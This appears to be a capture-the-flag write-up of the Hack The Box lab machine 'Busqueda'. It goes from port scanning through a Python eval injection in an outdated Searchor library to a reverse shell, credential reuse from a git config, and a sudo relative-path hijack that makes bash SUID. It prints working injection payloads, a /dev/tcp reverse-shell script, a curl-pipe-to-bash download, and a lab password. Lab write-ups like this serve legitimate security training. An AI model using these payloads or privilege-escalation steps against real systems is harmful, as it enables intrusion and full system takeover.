The Busqueda machine required us enumerating the target system in order to identify an active HTTP service. Upon interaction with this service, it became apparent that the service relies on a vulnerable package, thereby opening the possibility of Remote Code Execution (RCE) on the target system. By exploiting this RCE vulnerability, we successfully established a shell under the “svc” user. By enumerating the target host’s configuration revealed hard-coded credentials. Subsequent testing revealed that the user “svc” was found to reuse the discovered credentials. Leveraging this discovery, we enumerated the commands executable by the user “svc” with root privileges. We get to know that we can execute a system checkup script capable of executing bash scripts. Through the creation of a tailored bash script, we managed to manipulate the permissions associated with the bash command, ultimately attaining a root shell.

Recon

The HTTP service has as its domain searcher.htb, by changing the /etc/hosts file, we will be able to reach it.

sudo echo '<target-ip>    seacher.htb' >> /etc/hosts

nmap (TCP all ports)

nmap finds two open TCP ports, a SSH service (22) and an HTTP (80) service:

$ nmap -p- searcher.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-10 09:30 WEST
Nmap scan report for 10.129.49.114
Host is up (0.057s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV searcher.htb -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-10 09:32 WEST
Nmap scan report for searcher.htb (10.129.49.114)
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
$

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Landing page

By checking the landing page we see that it seems to be a type of search engine built on Flask. could not find image

Shell as svc

Searchor

By looking closely at the web page we can see that it’s mention the tools it is built with:

In this case we can see that the tool Searchor is being used and that the version being used is 2.4.0.

Vulnerability Patch

By looking at the source code we can see that the version (at the time of writing) is 2.5.2, we know therefore that the version being used is outdated. After looking at the releases page we can see one release that seems interesting, this one being the 2.4.2 in this release a vulnerability was patched. By taking a look at the issue we can see the following:

What is this Pull Request About?

The simple change in this pull request replaces the execution of search method in the cli code from using eval to calling search on the specified engine by passing engine as an attribute of Engine class. Because enum in Python is a set of members, each being a key-value pair, the syntax for getting members is the same as passing a dictionary.

What will this Pull Request Affect?

This pull request removes the use of eval in the cli code, achieving the same functionality while removing vulnerability of allowing execution of arbitrary code.

This tells us that the current version on the webpage is vulnerable to RCE (Remote Code Execution), we can try to explore further this vulnerability.

If we look at the commit where the fix was implemented we can where it was present:

The code was vulnerable because it used eval to run the queries, if we can make a custom query to it we can run arbitrary python code.

Exploitation

POC

To try exploit the vulnerability I made a custom query where the command id us executed, this way we can know if it run:

$ curl -i -s -k -X $'POST' \
    --data-binary $'engine=Brave&query=\'%2b__import__(\"os\").system(\"id\")%2b\',1)#&auto_redirect=\x0d\x0a' \
    $'http://searcher.htb/search' \
    | grep -oP '<a\s+href="\K[^"]+'
uid=1000(svc)%20gid=1000(svc)%20groups=1000(svc)
$ 

And by the response we now know that we can run commands on the target machine.

Get Shell

To get an interactive shell onto the machine we will generate a custom shell script where the script is only a reverse shell to our machine.

$ cat shell 
sh -i >& /dev/tcp/10.10.15.92/9001 0>&1
$ sudo python3 -m http.server 80
[sudo] password for pengrey: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.49.114 - - [10/Apr/2023 11:24:53] "GET /shell HTTP/1.1" 200 -
$

After retrieving the shell script we will pipe the insides of it onto bash so it gets executed.

$ curl -i -s -k -X $'POST' \
    --data-binary $'engine=Brave&query=\'%2b__import__(\"os\").system(\"curl 10.10.15.52/shell | bash\")%2b\',1)#&auto_redirect=\x0d\x0a' \
    $'http://searcher.htb/search'
$ 

After catching the reverse shell we achieve an interactive shell with the target.

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
<SNIP>
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@busqueda:/var/www/app$

Shell as root

Enumeration

By enumerating the directory where our reverse shell landed on, we can see that a .git .

svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 10 06:33 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 templates
svc@busqueda:/var/www/app$ ls .git 	
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
svc@busqueda:/var/www/app$

By taking a look at the config file present within it we can see some hardcoded credentials present.

svc@busqueda:/var/www/app$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
svc@busqueda:/var/www/app$

Credentials found

cody:jh1usoih2bkjaspwe92

We can attempt to see if a password reuse is being done on the svc user by checking the sudo privileges with the credentials found. With this we can see there is password reuse and that the svc user is able to run with sudo the command /usr/bin/python3 /opt/scripts/system-checkup.py * on the target.

svc@busqueda:/var/www/app$ sudo -l
sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92

Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app$ 

By trying to run the command we can see that some arguments are needed:

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:/var/www/app$ 

By providing one of the needed arguments we can see that still we can’t properly run the program:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
svc@busqueda:~$ 

By examining the /opt/scripts directory reveals another Git repository. This repository also holds extra scripts that appear to be invoked by the main script. By trying to run the command again but from this directory we can see that it functions correctly .

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/opt/scripts$

This suggests that the command might be invoked using a relative path to the current directory.

With this in mind we can try to generate a custom command, that will be run by root. This command will run chmod u+s /bin/bash enabling us to make the /bin/bash program an SUID binary.

svc@busqueda:~$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > full-checkup.sh && chmod +x full-checkup.sh
svc@busqueda:~$

Now if we run the command and we check the permissions we see that the change was applied successfully.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ ls -al /bin/bash 
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:~$

What remains now is for us to take advantage of it by executing the /bin/bash with the -p argument:

svc@busqueda:~$ /bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
bash-5.1#